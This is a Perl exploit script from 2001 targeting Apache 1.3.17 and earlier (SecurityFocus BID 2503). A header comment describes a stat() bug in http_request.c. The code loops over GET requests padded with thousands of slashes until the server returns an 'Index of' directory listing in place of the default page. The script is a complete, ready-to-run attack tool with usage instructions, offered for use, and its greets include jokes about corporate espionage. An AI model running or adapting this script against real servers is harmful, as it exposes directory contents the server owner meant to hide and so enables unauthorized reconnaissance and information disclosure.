home *** CD-ROM | disk | FTP | other *** search
- #!/usr/bin/perl
- #
- # farm9, Inc. (copyright 2001)
- #
- # Name: Apache Artificially Long Slash Path Directory Listing Exploit
- # Author: Matt Watchinski
- # Ref: SecurityFocus BID 2503
- #
- # Affects: Apache 1.3.17 and below
- # Tested on: Apache 1.3.12 running on Debian 2.2
- #
- # Info: This exploit tricks apache into returning a Index of the a directory
- # even if an index.html file is present. May not work on some OS's
- #
- # Details: http_request.c has a subroutine called ap_sub_req_lookup_file that in
- # very specific cases would feed stat() a filename that was longer than
- # stat() could handle. This would result in a condition where stat()
- # would return 0 and a directory index would be returned instead of the
- # default index.html.
- #
- # Code Fragment: /src/main/http_request.c
- # if (strchr(new_file, '/') == NULL) {
- # char *udir = ap_make_dirstr_parent(rnew->pool, r->uri);
- #
- # rnew->uri = ap_make_full_path(rnew->pool, udir, new_file);
- # rnew->filename = ap_make_full_path(rnew->pool, fdir, new_file);
- # ap_parse_uri(rnew, rnew->uri); /* fill in parsed_uri values */
- # if (stat(rnew->filename, &rnew->finfo) < 0) { <-- Important part
- # rnew->finfo.st_mode = 0;
- # }
- #
- # Conditions: Mod_dir / Mod_autoindex / Mod_negotiation need to be enabled
- # The directory must also have the following Options enabled:
- # Indexes and MultiView
- # Some OS's have different conditions on the number of character
- # you have to pass to stat to make this work. If stat doesn't
- # return 0 for path names less than 8192 or so internal apache
- # buffer checks will stop this exploit from working.
- #
- # Debian needed around 4060 /'s to make this work.
- #
- # Greets: Special thanks to natasha who added a lot of debug to apache for me
- # while i was trying to figure out what had to be enabled to make this
- # exploit work. Also thanks to rfp for pointing out that MultiView
- # needed to be enabled.
- #
- # More Greets: Jeff for not shooting me :) <All your Cisco's belong to us>
- # Anne for being so sexy <I never though corporate espionage
- # would be so fun>
- # All my homies at farm9
- # DJ Charles / DJ NoloN for the phat beats
- # Marty (go go gadget snort)
- # All my ex-bees
- # RnVjazpIaXZlcndvcmxk
- #
- # I think that wraps it up. Have fun.
- #
- # Usage: ./apacheIndex.pl <host> <port> <HI> <Low>
- # Where: Hi and low are the range for the number of / to try
- #
-
- use IO::Socket;
-
- $low = $ARGV[3]; #Low number of slash characters to try
- $hi = $ARGV[2]; #High number of slash characters to try
- $port = $ARGV[1]; #Port to try to connect to
- $host = $ARGV[0]; #Host to try to connect to
-
- # Main loop. Not much to this exploit once you figure out what needed to
- # be enabled. Need to do some more testing on sub-dirs to see if it
- # works with them. It should. Also different OS's might use a different number
- # of /. Send me the numbers if you don't mind matt@farm9.com
-
- while($low <= $hi)
- {
-
- $socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => "TCP") or die "Connect Failed";
-
- $url = "";
- $buffer = "";
- $end = "";
-
- $url = "GET ";
- $buffer = "/" x $low . " HTTP/1.0\r\n";
- $end = "\r\n\r\n";
-
- $url = $url . $buffer . $end;
-
- print $socket "$url";
- while(<$socket>)
- {
- if($_ =~ "Index of")
- {
- print "Found the magic number: $low\n";
- print "Now go do it by hand to to see it all\n";
- close($socket);
- exit;
- }
- }
-
- close($socket);
- $low++;
- }
-